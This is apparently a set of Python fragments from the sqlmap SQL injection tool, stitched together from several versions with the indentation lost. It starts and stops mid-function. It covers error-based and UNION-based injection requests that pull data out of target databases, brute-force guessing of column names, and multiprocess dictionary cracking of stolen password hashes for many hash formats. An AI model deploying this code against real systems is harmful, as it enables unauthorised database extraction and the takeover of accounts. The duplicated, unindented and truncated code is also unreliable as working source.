or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
if trimmed:
warnMsg = "possible server trimmed output detected (due to its length): "
warnMsg += safecharencode(trimmed)
logger.warn(warnMsg)
if any(
Backend.isDbms(dbms)
for dbms in (DBMS.MYSQL, DBMS.MSSQL)):
if offset == 1:
retVal = output
else:
retVal += output if output else ''
if output and len(output) >= chunk_length:
offset += chunk_length
else:
break
if kb.fileReadMode and output:
dataToStdout(
_formatPartialContent(output).replace(
r"\n", "\n").replace(r"\t", "\t"))
else:
retVal = output
break
except:
hashDBWrite(expression, "%s%s" % (retVal, PARTIAL_VALUE_MARKER))
raise
retVal = decodeHexValue(retVal) if conf.hexConvert else retVal
if isinstance(retVal, basestring):
retVal = htmlunescape(retVal).replace("<br>", "\n")
retVal = _errorReplaceChars(retVal)
hashDBWrite(expression, retVal)
else:
_ = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
retVal = extractRegexResult(_, retVal,
re.DOTALL | re.IGNORECASE) or retVal
return safecharencode(retVal) if kb.safeCharEncode else retVal
def columnExists(columnFile, regex=None):
if kb.columnExistsChoice is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct:
warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED])
warnMsg += "for common column existence check"
logger.warn(warnMsg)
message = "are you sure you want to continue? [y/N] "
kb.columnExistsChoice = readInput(message, default='N', boolean=True)
if not kb.columnExistsChoice:
return None
if not conf.tbl:
errMsg = "missing table parameter"
raise SqlmapMissingMandatoryOptionException(errMsg)
if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.db = conf.db.upper()
result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (randomStr(), randomStr())))
if result:
errMsg = "can't use column existence check because of detected invalid results "
errMsg += "(most likely caused by inability of the used injection "
errMsg += "to distinguish erroneous results)"
raise SqlmapDataException(errMsg)
message = "which common columns (wordlist) file do you want to use?\n"
message += "[1] default '%s' (press Enter)\n" % columnFile
message += "[2] custom"
choice = readInput(message, default='1')
if choice == '2':
message = "what's the custom common columns file location?\n"
columnFile = readInput(message) or columnFile
infoMsg = "checking column existence using items from '%s'" % columnFile
logger.info(infoMsg)
columns = getFileItems(columnFile, unique=True)
columns.extend(_addPageTextWords())
columns = filterListValue(columns, regex)
table = safeSQLIdentificatorNaming(conf.tbl, True)
if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
table = "%s.%s" % (safeSQLIdentificatorNaming(conf.db), table)
kb.threadContinue = True
kb.bruteMode = True
threadData = getCurrentThreadData()
threadData.shared.count = 0
threadData.shared.limit = len(columns)
threadData.shared.value = []
def columnExistsThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
kb.locks.count.acquire()
if threadData.shared.count < threadData.shared.limit:
column = safeSQLIdentificatorNaming(columns[threadData.shared.count])
threadData.shared.count += 1
kb.locks.count.release()
else:
kb.locks.count.release()
break
result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (column, table)))
kb.locks.io.acquire()
if result:
threadData.shared.value.append(column)
if conf.verbose in (1, 2) and not conf.api:
clearConsoleLine(True)
infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(column))
dataToStdout(infoMsg, True)
if conf.verbose in (1, 2):
status = "%d/%d items (%d%%)" % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit))
dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True)
kb.locks.io.release()
try:
runThreads(conf.threads, columnExistsThread, threadChoice=True)
except KeyboardInterrupt:
warnMsg = "user aborted during column existence "
warnMsg += "check. sqlmap will display partial output"
logger.warn(warnMsg)
clearConsoleLine(True)
dataToStdout("\n")
if not threadData.shared.value:
warnMsg = "no column(s) found"
logger.warn(warnMsg)
else:
columns = {}
for column in threadData.shared.value:
if Backend.getIdentifiedDbms() in (DBMS.MYSQL,):
result = not inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')", (column, table, column)))
else:
result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column)))
if result:
columns[column] = "numeric"
else:
columns[column] = "non-numeric"
kb.data.cachedColumns[conf.db] = {conf.tbl: columns}
for _ in map(lambda x: (conf.db, conf.tbl, x[0], x[1]), columns.items()):
if _ not in kb.brute.columns:
kb.brute.columns.append(_)
hashDBWrite(HASHDB_KEYS.KB_BRUTE_COLUMNS, kb.brute.columns, True)
return kb.data.cachedColumns
def _oneShotErrorUse(expression, field=None, chunkTest=False):
offset = 1
rotator = 0
partialValue = None
threadData = getCurrentThreadData()
retVal = hashDBRetrieve(expression, checkConf=True)
if retVal and PARTIAL_VALUE_MARKER in retVal:
partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
logger.info("resuming partial value: '%s'" %
_formatPartialContent(partialValue))
offset += len(partialValue)
threadData.resumed = retVal is not None and not partialValue
if any(
Backend.isDbms(dbms)
for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)
) and kb.errorChunkLength is None and not chunkTest and not kb.testMode:
debugMsg = "searching for error chunk length..."
logger.debug(debugMsg)
seen = set()
current = MAX_ERROR_CHUNK_LENGTH
while current >= MIN_ERROR_CHUNK_LENGTH:
testChar = str(current % 10)
if Backend.isDbms(DBMS.ORACLE):
testQuery = "RPAD('%s',%d,'%s')" % (testChar, current,
testChar)
else:
testQuery = "%s('%s',%d)" % ("REPEAT" if Backend.isDbms(
DBMS.MYSQL) else "REPLICATE", testChar, current)
testQuery = "SELECT %s" % (agent.hexConvertField(testQuery)
if conf.hexConvert else testQuery)
result = unArrayizeValue(
_oneShotErrorUse(testQuery, chunkTest=True))
seen.add(current)
if (result or "").startswith(testChar):
if result == testChar * current:
kb.errorChunkLength = current
break
else:
result = re.search(r"\A\w+", result).group(0)
candidate = len(result) - len(kb.chars.stop)
current = candidate if candidate != current and candidate not in seen else current - 1
else:
current = current // 2
if kb.errorChunkLength:
hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength)
else:
kb.errorChunkLength = 0
if retVal is None or partialValue:
try:
while True:
check = r"(?si)%s(?P<result>.*?)%s" % (kb.chars.start,
kb.chars.stop)
trimCheck = r"(?si)%s(?P<result>[^<\n]*)" % kb.chars.start
if field:
nulledCastedField = agent.nullAndCastField(field)
if any(
Backend.isDbms(dbms)
for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE,
DBMS.ORACLE)
) and not any(_ in field for _ in ("COUNT", "CASE")
) and kb.errorChunkLength and not chunkTest:
extendedField = re.search(
r"[^ ,]*%s[^ ,]*" % re.escape(field),
expression).group(0)
if extendedField != field: # e.g. MIN(surname)
nulledCastedField = extendedField.replace(
field, nulledCastedField)
field = extendedField
nulledCastedField = queries[Backend.getIdentifiedDbms(
)].substring.query % (nulledCastedField, offset,
kb.errorChunkLength)
# Forge the error-based SQL injection request
vector = getTechniqueData().vector
query = agent.prefixQuery(vector)
query = agent.suffixQuery(query)
injExpression = expression.replace(field, nulledCastedField,
1) if field else expression
injExpression = unescaper.escape(injExpression)
injExpression = query.replace("[QUERY]", injExpression)
payload = agent.payload(newValue=injExpression)
# Perform the request
page, headers, _ = Request.queryPage(payload,
content=True,
raise404=False)
incrementCounter(getTechnique())
if page and conf.noEscape:
page = re.sub(
r"('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)" %
(kb.chars.start, kb.chars.stop), "", page)
# Parse the returned page to get the exact error-based
# SQL injection output
output = firstNotNone(
extractRegexResult(check, page),
extractRegexResult(
check, threadData.lastHTTPError[2]
if wasLastResponseHTTPError() else None),
extractRegexResult(
check,
listToStrValue((
headers[header] for header in headers
if header.lower() != HTTP_HEADER.URI.lower()
) if headers else None)),
extractRegexResult(
check, threadData.lastRedirectMsg[1]
if threadData.lastRedirectMsg
and threadData.lastRedirectMsg[0]
== threadData.lastRequestUID else None))
if output is not None:
output = getUnicode(output)
else:
trimmed = firstNotNone(
extractRegexResult(trimCheck, page),
extractRegexResult(
trimCheck, threadData.lastHTTPError[2]
if wasLastResponseHTTPError() else None),
extractRegexResult(
trimCheck,
listToStrValue((
headers[header] for header in headers
if header.lower() != HTTP_HEADER.URI.lower()
) if headers else None)),
extractRegexResult(
trimCheck, threadData.lastRedirectMsg[1]
if threadData.lastRedirectMsg
and threadData.lastRedirectMsg[0]
== threadData.lastRequestUID else None))
if trimmed:
if not chunkTest:
warnMsg = "possible server trimmed output detected "
warnMsg += "(due to its length and/or content): "
warnMsg += safecharencode(trimmed)
logger.warn(warnMsg)
if not kb.testMode:
check = r"(?P<result>[^<>\n]*?)%s" % kb.chars.stop[:
2]
output = extractRegexResult(
check, trimmed, re.IGNORECASE)
if not output:
check = r"(?P<result>[^\s<>'\"]+)"
output = extractRegexResult(
check, trimmed, re.IGNORECASE)
else:
output = output.rstrip()
if any(
Backend.isDbms(dbms)
for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE,
DBMS.ORACLE)):
if offset == 1:
retVal = output
else:
retVal += output if output else ''
if output and kb.errorChunkLength and len(
output) >= kb.errorChunkLength and not chunkTest:
offset += kb.errorChunkLength
else:
break
if output and conf.verbose in (1, 2) and not any(
(conf.api, kb.bruteMode)):
if kb.fileReadMode:
dataToStdout(
_formatPartialContent(output).replace(
r"\n", "\n").replace(r"\t", "\t"))
elif offset > 1:
rotator += 1
if rotator >= len(ROTATING_CHARS):
rotator = 0
dataToStdout("\r%s\r" % ROTATING_CHARS[rotator])
else:
retVal = output
break
except:
if retVal is not None:
hashDBWrite(expression,
"%s%s" % (retVal, PARTIAL_VALUE_MARKER))
raise
retVal = decodeDbmsHexValue(retVal) if conf.hexConvert else retVal
if isinstance(retVal, six.string_types):
retVal = htmlUnescape(retVal).replace("<br>", "\n")
retVal = _errorReplaceChars(retVal)
if retVal is not None:
hashDBWrite(expression, retVal)
else:
_ = "(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
retVal = extractRegexResult(_, retVal) or retVal
return safecharencode(retVal) if kb.safeCharEncode else retVal
def dictionaryAttack(attack_dict):
suffix_list = [""]
custom_wordlist = [""]
hash_regexes = []
results = []
resumes = []
user_hash = []
processException = False
foundHash = False
for (_, hashes) in attack_dict.items():
for hash_ in hashes:
if not hash_:
continue
hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_
regex = hashRecognition(hash_)
if regex and regex not in hash_regexes:
hash_regexes.append(regex)
infoMsg = "using hash method '%s'" % __functions__[regex].func_name
logger.info(infoMsg)
for hash_regex in hash_regexes:
keys = set()
attack_info = []
for (user, hashes) in attack_dict.items():
for hash_ in hashes:
if not hash_:
continue
foundHash = True
hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_
if re.match(hash_regex, hash_):
try:
item = None
if hash_regex not in (HASH.CRYPT_GENERIC, HASH.JOOMLA, HASH.WORDPRESS, HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA, HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5, HASH.DJANGO_SHA1, HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
hash_ = hash_.lower()
if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
item = [(user, hash_.decode("base64").encode("hex")), {}]
elif hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.APACHE_SHA1):
item = [(user, hash_), {}]
elif hash_regex in (HASH.SSHA,):
item = [(user, hash_), {"salt": hash_.decode("base64")[20:]}]
elif hash_regex in (HASH.SSHA256,):
item = [(user, hash_), {"salt": hash_.decode("base64")[32:]}]
elif hash_regex in (HASH.SSHA512,):
item = [(user, hash_), {"salt": hash_.decode("base64")[64:]}]
elif hash_regex in (HASH.ORACLE_OLD, HASH.POSTGRES):
item = [(user, hash_), {'username': user}]
elif hash_regex in (HASH.ORACLE,):
item = [(user, hash_), {"salt": hash_[-20:]}]
elif hash_regex in (HASH.MSSQL, HASH.MSSQL_OLD, HASH.MSSQL_NEW):
item = [(user, hash_), {"salt": hash_[6:14]}]
elif hash_regex in (HASH.CRYPT_GENERIC,):
item = [(user, hash_), {"salt": hash_[0:2]}]
elif hash_regex in (HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT):
item = [(user, hash_), {"salt": hash_.split('$')[2], "magic": "$%s$" % hash_.split('$')[1]}]
elif hash_regex in (HASH.JOOMLA, HASH.VBULLETIN, HASH.VBULLETIN_OLD):
item = [(user, hash_), {"salt": hash_.split(':')[-1]}]
elif hash_regex in (HASH.DJANGO_MD5, HASH.DJANGO_SHA1):
item = [(user, hash_), {"salt": hash_.split('$')[1]}]
elif hash_regex in (HASH.WORDPRESS,):
if ITOA64.index(hash_[3]) < 32:
item = [(user, hash_), {"salt": hash_[4:12], "count": 1 << ITOA64.index(hash_[3]), "prefix": hash_[:12]}]
else:
warnMsg = "invalid hash '%s'" % hash_
logger.warn(warnMsg)
if item and hash_ not in keys:
resumed = hashDBRetrieve(hash_)
if not resumed:
attack_info.append(item)
user_hash.append(item[0])
else:
infoMsg = "resuming password '%s' for hash '%s'" % (resumed, hash_)
if user and not user.startswith(DUMMY_USER_PREFIX):
infoMsg += " for user '%s'" % user
logger.info(infoMsg)
resumes.append((user, hash_, resumed))
keys.add(hash_)
except (binascii.Error, IndexError):
pass
if not attack_info:
continue
if not kb.wordlists:
while not kb.wordlists:
# the slowest of all methods hence smaller default dict
if hash_regex in (HASH.ORACLE_OLD,):
dictPaths = [paths.SMALL_DICT]
else:
dictPaths = [paths.WORDLIST]
message = "what dictionary do you want to use?\n"
message += "[1] default dictionary file '%s' (press Enter)\n" % dictPaths[0]
message += "[2] custom dictionary file\n"
message += "[3] file with list of dictionary files"
choice = readInput(message, default='1')
try:
if choice == '2':
message = "what's the custom dictionary's location?\n"
dictPath = readInput(message)
if dictPath:
dictPaths = [dictPath]
logger.info("using custom dictionary")
elif choice == '3':
message = "what's the list file location?\n"
listPath = readInput(message)
checkFile(listPath)
dictPaths = getFileItems(listPath)
logger.info("using custom list of dictionaries")
else:
logger.info("using default dictionary")
dictPaths = filter(None, dictPaths)
for dictPath in dictPaths:
checkFile(dictPath)
if os.path.splitext(dictPath)[1].lower() == ".zip":
_ = zipfile.ZipFile(dictPath, 'r')
if len(_.namelist()) == 0:
errMsg = "no file(s) inside '%s'" % dictPath
raise SqlmapDataException(errMsg)
else:
_.open(_.namelist()[0])
kb.wordlists = dictPaths
except Exception, ex:
warnMsg = "there was a problem while loading dictionaries"
warnMsg += " ('%s')" % getSafeExString(ex)
logger.critical(warnMsg)
message = "do you want to use common password suffixes? (slow!) [y/N] "
if readInput(message, default='N', boolean=True):
suffix_list += COMMON_PASSWORD_SUFFIXES
infoMsg = "starting dictionary-based cracking (%s)" % __functions__[hash_regex].func_name
logger.info(infoMsg)
for item in attack_info:
((user, _), _) = item
if user and not user.startswith(DUMMY_USER_PREFIX):
custom_wordlist.append(normalizeUnicode(user))
# Algorithms without extra arguments (e.g. salt and/or username)
if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.SHA224_GENERIC, HASH.SHA256_GENERIC, HASH.SHA384_GENERIC, HASH.SHA512_GENERIC, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD):
for suffix in suffix_list:
if not attack_info or processException:
break
if suffix:
clearConsoleLine()
infoMsg = "using suffix '%s'" % suffix
logger.info(infoMsg)
retVal = None
processes = []
try:
if _multiprocessing:
if _multiprocessing.cpu_count() > 1:
infoMsg = "starting %d processes " % _multiprocessing.cpu_count()
singleTimeLogMessage(infoMsg)
gc.disable()
retVal = _multiprocessing.Queue()
count = _multiprocessing.Value('i', _multiprocessing.cpu_count())
for i in xrange(_multiprocessing.cpu_count()):
process = _multiprocessing.Process(target=_bruteProcessVariantA, args=(attack_info, hash_regex, suffix, retVal, i, count, kb.wordlists, custom_wordlist, conf.api))
processes.append(process)
for process in processes:
process.daemon = True
process.start()
while count.value > 0:
time.sleep(0.5)
else:
warnMsg = "multiprocessing hash cracking is currently "
warnMsg += "not supported on this platform"
singleTimeWarnMessage(warnMsg)
retVal = Queue()
_bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, 0, 1, kb.wordlists, custom_wordlist, conf.api)
except KeyboardInterrupt:
print
processException = True
warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)"
logger.warn(warnMsg)
for process in processes:
try:
process.terminate()
process.join()
except (OSError, AttributeError):
pass
finally:
if _multiprocessing:
gc.enable()
if retVal:
conf.hashDB.beginTransaction()
while not retVal.empty():
user, hash_, word = item = retVal.get(block=False)
attack_info = filter(lambda _: _[0][0] != user or _[0][1] != hash_, attack_info)
hashDBWrite(hash_, word)
results.append(item)
conf.hashDB.endTransaction()
clearConsoleLine()
else:
for ((user, hash_), kwargs) in attack_info:
if processException:
break
if any(_[0] == user and _[1] == hash_ for _ in results):
continue
count = 0
found = False
for suffix in suffix_list:
if found or processException:
break
if suffix:
clearConsoleLine()
infoMsg = "using suffix '%s'" % suffix
logger.info(infoMsg)
retVal = None
processes = []
try:
if _multiprocessing:
if _multiprocessing.cpu_count() > 1:
infoMsg = "starting %d processes " % _multiprocessing.cpu_count()
singleTimeLogMessage(infoMsg)
gc.disable()
retVal = _multiprocessing.Queue()
found_ = _multiprocessing.Value('i', False)
count = _multiprocessing.Value('i', _multiprocessing.cpu_count())
for i in xrange(_multiprocessing.cpu_count()):
process = _multiprocessing.Process(target=_bruteProcessVariantB, args=(user, hash_, kwargs, hash_regex, suffix, retVal, found_, i, count, kb.wordlists, custom_wordlist, conf.api))
processes.append(process)
for process in processes:
process.daemon = True
process.start()
while count.value > 0:
time.sleep(0.5)
found = found_.value != 0
else:
warnMsg = "multiprocessing hash cracking is currently "
warnMsg += "not supported on this platform"
singleTimeWarnMessage(warnMsg)
class Value():
pass
retVal = Queue()
found_ = Value()
found_.value = False
_bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found_, 0, 1, kb.wordlists, custom_wordlist, conf.api)
found = found_.value
except KeyboardInterrupt:
print
processException = True
warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)"
logger.warn(warnMsg)
for process in processes:
try:
process.terminate()
process.join()
except (OSError, AttributeError):
pass
finally:
if _multiprocessing:
gc.enable()
if retVal:
conf.hashDB.beginTransaction()
while not retVal.empty():
user, hash_, word = item = retVal.get(block=False)
hashDBWrite(hash_, word)
results.append(item)
conf.hashDB.endTransaction()
clearConsoleLine()
def __oneShotErrorUse(expression, field):
offset = 1
partialValue = None
threadData = getCurrentThreadData()
retVal = hashDBRetrieve(expression, checkConf=True)
if retVal and PARTIAL_VALUE_MARKER in retVal:
partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
dataToStdout("[%s] [INFO] resuming partial value: '%s'\r\n" % (time.strftime("%X"), __formatPartialContent(partialValue)))
offset += len(partialValue)
threadData.resumed = retVal is not None and not partialValue
chunk_length = None
if retVal is None or partialValue:
try:
while True:
check = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
trimcheck = "%s(?P<result>.*?)</" % (kb.chars.start)
nulledCastedField = agent.nullAndCastField(field)
if Backend.isDbms(DBMS.MYSQL):
chunk_length = MYSQL_ERROR_CHUNK_LENGTH
nulledCastedField = queries[DBMS.MYSQL].substring.query % (nulledCastedField, offset, chunk_length)
elif Backend.isDbms(DBMS.MSSQL):
chunk_length = MSSQL_ERROR_CHUNK_LENGTH
nulledCastedField = queries[DBMS.MSSQL].substring.query % (nulledCastedField, offset, chunk_length)
# Forge the error-based SQL injection request
vector = kb.injection.data[PAYLOAD.TECHNIQUE.ERROR].vector
query = agent.prefixQuery(vector)
query = agent.suffixQuery(query)
injExpression = expression.replace(field, nulledCastedField, 1)
injExpression = unescaper.unescape(injExpression)
injExpression = query.replace("[QUERY]", injExpression)
payload = agent.payload(newValue=injExpression)
# Perform the request
page, headers = Request.queryPage(payload, content=True)
incrementCounter(PAYLOAD.TECHNIQUE.ERROR)
# Parse the returned page to get the exact error-based
# SQL injection output
output = reduce(lambda x, y: x if x is not None else y, [ \
extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \
extractRegexResult(check, listToStrValue(headers.headers \
if headers else None), re.DOTALL | re.IGNORECASE), \
extractRegexResult(check, threadData.lastRedirectMsg[1] \
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)], \
None)
if output is not None:
output = getUnicode(output, kb.pageEncoding)
else:
trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \
or extractRegexResult(trimcheck, listToStrValue(headers.headers \
if headers else None), re.DOTALL | re.IGNORECASE) \
or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
if trimmed:
warnMsg = "possible server trimmed output detected (due to its length): "
warnMsg += trimmed
logger.warn(warnMsg)
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)):
if offset == 1:
retVal = output
else:
retVal += output if output else ''
if output and len(output) >= chunk_length:
offset += chunk_length
else:
break
if kb.fileReadMode and output:
dataToStdout(__formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t"))
else:
retVal = output
break
except:
hashDBWrite(expression, "%s%s" % (retVal, PARTIAL_VALUE_MARKER))
raise
retVal = decodeHexValue(retVal) if conf.hexConvert else retVal
if isinstance(retVal, basestring):
retVal = htmlunescape(retVal).replace("<br>", "\n")
retVal = __errorReplaceChars(retVal)
hashDBWrite(expression, retVal)
else:
_ = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
retVal = extractRegexResult(_, retVal, re.DOTALL | re.IGNORECASE) or retVal
return safecharencode(retVal) if kb.safeCharEncode else retVal
def _oneShotErrorUse(expression, field=None, chunkTest=False):
offset = 1
partialValue = None
threadData = getCurrentThreadData()
retVal = hashDBRetrieve(expression, checkConf=True)
if retVal and PARTIAL_VALUE_MARKER in retVal:
partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
logger.info("resuming partial value: '%s'" %
_formatPartialContent(partialValue))
offset += len(partialValue)
threadData.resumed = retVal is not None and not partialValue
if any(
Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)
) and kb.errorChunkLength is None and not chunkTest and not kb.testMode:
debugMsg = "searching for error chunk length..."
logger.debug(debugMsg)
current = MAX_ERROR_CHUNK_LENGTH
while current >= MIN_ERROR_CHUNK_LENGTH:
testChar = str(current % 10)
testQuery = "SELECT %s('%s',%d)" % ("REPEAT" if Backend.isDbms(
DBMS.MYSQL) else "REPLICATE", testChar, current)
result = unArrayizeValue(
_oneShotErrorUse(testQuery, chunkTest=True))
if result and testChar in result:
if result == testChar * current:
kb.errorChunkLength = current
break
else:
current = len(result) - len(kb.chars.stop)
else:
current = current / 2
if kb.errorChunkLength:
hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength)
else:
kb.errorChunkLength = 0
if retVal is None or partialValue:
try:
while True:
check = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
trimcheck = "%s(?P<result>[^<]*)" % (kb.chars.start)
if field:
nulledCastedField = agent.nullAndCastField(field)
if any(
Backend.isDbms(dbms)
for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(
_ in field for _ in ("COUNT", "CASE")
) and kb.errorChunkLength and not chunkTest:
extendedField = re.search(
r"[^ ,]*%s[^ ,]*" % re.escape(field),
expression).group(0)
if extendedField != field: # e.g. MIN(surname)
nulledCastedField = extendedField.replace(
field, nulledCastedField)
field = extendedField
nulledCastedField = queries[Backend.getIdentifiedDbms(
)].substring.query % (nulledCastedField, offset,
kb.errorChunkLength)
# Forge the error-based SQL injection request
vector = kb.injection.data[kb.technique].vector
query = agent.prefixQuery(vector)
query = agent.suffixQuery(query)
injExpression = expression.replace(field, nulledCastedField,
1) if field else expression
injExpression = unescaper.escape(injExpression)
injExpression = query.replace("[QUERY]", injExpression)
payload = agent.payload(newValue=injExpression)
# Perform the request
page, headers = Request.queryPage(payload,
content=True,
raise404=False)
incrementCounter(kb.technique)
if page and conf.noEscape:
page = re.sub(
r"('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)" %
(kb.chars.start, kb.chars.stop), "", page)
# Parse the returned page to get the exact error-based
# SQL injection output
output = reduce(lambda x, y: x if x is not None else y, (\
extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \
extractRegexResult(check, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \
if headers else None), re.DOTALL | re.IGNORECASE), \
extractRegexResult(check, threadData.lastRedirectMsg[1] \
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)), \
None)
if output is not None:
output = getUnicode(output)
else:
trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \
or extractRegexResult(trimcheck, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \
if headers else None), re.DOTALL | re.IGNORECASE) \
or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
if trimmed:
if not chunkTest:
warnMsg = "possible server trimmed output detected "
warnMsg += "(due to its length and/or content): "
warnMsg += safecharencode(trimmed)
logger.warn(warnMsg)
if not kb.testMode:
check = "(?P<result>.*?)%s" % kb.chars.stop[:2]
output = extractRegexResult(
check, trimmed, re.IGNORECASE)
if not output:
check = "(?P<result>[^\s<>'\"]+)"
output = extractRegexResult(
check, trimmed, re.IGNORECASE)
else:
output = output.rstrip()
if any(
Backend.isDbms(dbms)
for dbms in (DBMS.MYSQL, DBMS.MSSQL)):
if offset == 1:
retVal = output
else:
retVal += output if output else ''
if output and kb.errorChunkLength and len(
output) >= kb.errorChunkLength and not chunkTest:
offset += kb.errorChunkLength
else:
break
if kb.fileReadMode and output:
dataToStdout(
_formatPartialContent(output).replace(
r"\n", "\n").replace(r"\t", "\t"))
else:
retVal = output
break
except:
if retVal is not None:
hashDBWrite(expression,
"%s%s" % (retVal, PARTIAL_VALUE_MARKER))
raise
retVal = decodeHexValue(retVal) if conf.hexConvert else retVal
if isinstance(retVal, basestring):
retVal = htmlunescape(retVal).replace("<br>", "\n")
retVal = _errorReplaceChars(retVal)
if retVal is not None:
hashDBWrite(expression, retVal)
else:
_ = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
retVal = extractRegexResult(_, retVal,
re.DOTALL | re.IGNORECASE) or retVal
return safecharencode(retVal) if kb.safeCharEncode else retVal
def _oneShotUnionUse(expression, unpack=True, limited=False):
retVal = hashDBRetrieve(
"%s%s" % (conf.hexConvert or False, expression),
checkConf=True) # as UNION data is stored raw unconverted
threadData = getCurrentThreadData()
threadData.resumed = retVal is not None
if retVal is None:
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
if not kb.jsonAggMode:
injExpression = unescaper.escape(
agent.concatQuery(expression, unpack))
kb.unionDuplicates = vector[7]
kb.forcePartialUnion = vector[8]
# Note: introduced columns in 1.4.2.42#dev
try:
kb.tableFrom = vector[9]
kb.unionTemplate = vector[10]
except IndexError:
pass
query = agent.forgeUnionQuery(injExpression, vector[0], vector[1],
vector[2], vector[3], vector[4],
vector[5], vector[6], None, limited)
where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[
6]
else:
injExpression = unescaper.escape(expression)
where = vector[6]
query = agent.forgeUnionQuery(injExpression, vector[0], vector[1],
vector[2], vector[3], vector[4],
vector[5], vector[6], None, False)
payload = agent.payload(newValue=query, where=where)
# Perform the request
page, headers, _ = Request.queryPage(payload,
content=True,
raise404=False)
incrementCounter(PAYLOAD.TECHNIQUE.UNION)
if kb.jsonAggMode:
for _page in (page or "", (page or "").replace('\\"', '"')):
if Backend.isDbms(DBMS.MSSQL):
output = extractRegexResult(
r"%s(?P<result>.*)%s" %
(kb.chars.start, kb.chars.stop),
removeReflectiveValues(_page, payload))
if output:
try:
retVal = ""
fields = re.findall(
r'"([^"]+)":',
extractRegexResult(r"{(?P<result>[^}]+)}",
output))
for row in json.loads(output):
retVal += "%s%s%s" % (
kb.chars.start,
kb.chars.delimiter.join(
getUnicode(row[field] or NULL)
for field in fields), kb.chars.stop)
except:
pass
else:
